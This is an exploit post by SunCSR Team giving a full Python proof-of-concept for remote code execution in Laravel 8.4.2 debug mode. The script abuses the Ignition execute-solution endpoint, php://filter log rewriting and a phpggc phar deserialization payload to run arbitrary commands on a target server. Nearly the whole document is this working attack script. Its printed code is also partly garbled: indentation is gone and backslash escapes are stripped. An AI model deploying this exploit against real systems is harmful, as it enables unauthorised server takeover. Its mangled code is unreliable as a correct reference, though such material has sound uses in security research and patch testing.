Authored by SunCSR Team

Laravel version 8.4.2 suffers from a debug mode remote code execution vulnerability.

# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References:
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce


#!/usr/bin/env python3

import requests, sys, re, os

header={
"Accept": "application/json"
}

data = {
"solution":"FacadeIgnitionSolutionsMakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":""
}
}

def clear_log(url='', viewFile=''):

global data

data['parameters']['viewFile'] = viewFile
while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
requests.post(url=url, json=data, headers=header, verify=False)
requests.post(url=url, json=data, headers=header, verify=False)

def create_payload(url='', viewFile=''):

global data

data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
return True
return False

def convert(url='', viewFile=''):

global data

data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 200:
return True
return False

def exploited(url='', viewFile=''):

global data

data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and 'cannot be empty' in resp.text:
m = re.findall(r'{(.|n)+}((.|n)*)', resp.text)
print()
print(m[0][1])

def generate_payload(command='', padding=0):
if '/' in command:
command = command.replace('/', '/')
command = command.replace(''', ''')
os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./=00/g' > payload.txt'''%(command))
payload = ''
with open('payload.txt', 'r') as fp:
payload = fp.read()
payload = payload.replace('==', '=3D=')
for i in range(padding):
payload += '=00'
os.system('rm -rf payload.txt')
return payload


def main():

if len(sys.argv) < 4:
print('Usage: %s url path-log commandn'%(sys.argv[0]))
print('tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'id''%(sys.argv[0]))
exit(1)

if not os.path.isfile('./phpggc/phpggc'):
print('Phpggc not found!')
print('Run command: git clone https://github.com/ambionics/phpggc.git')
os.system('git clone https://github.com/ambionics/phpggc.git')

url = sys.argv[1]
path_log = sys.argv[2]
command = sys.argv[3]
padding = 0

payload = generate_payload(command, padding)
if not payload:
print('Generate payload error!')
exit(1)

if 'http' not in url and 'https' not in url:
url = 'http'+url
else:
url = url+'/_ignition/execute-solution'

print('nExploit...')
clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
create_payload(url, 'AA')
create_payload(url, payload)
while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
create_payload(url, 'AA')
padding += 1
payload = generate_payload(command, padding)
create_payload(url, payload)

exploited(url, 'phar://%s'%(path_log))

if __name__ == '__main__':
main()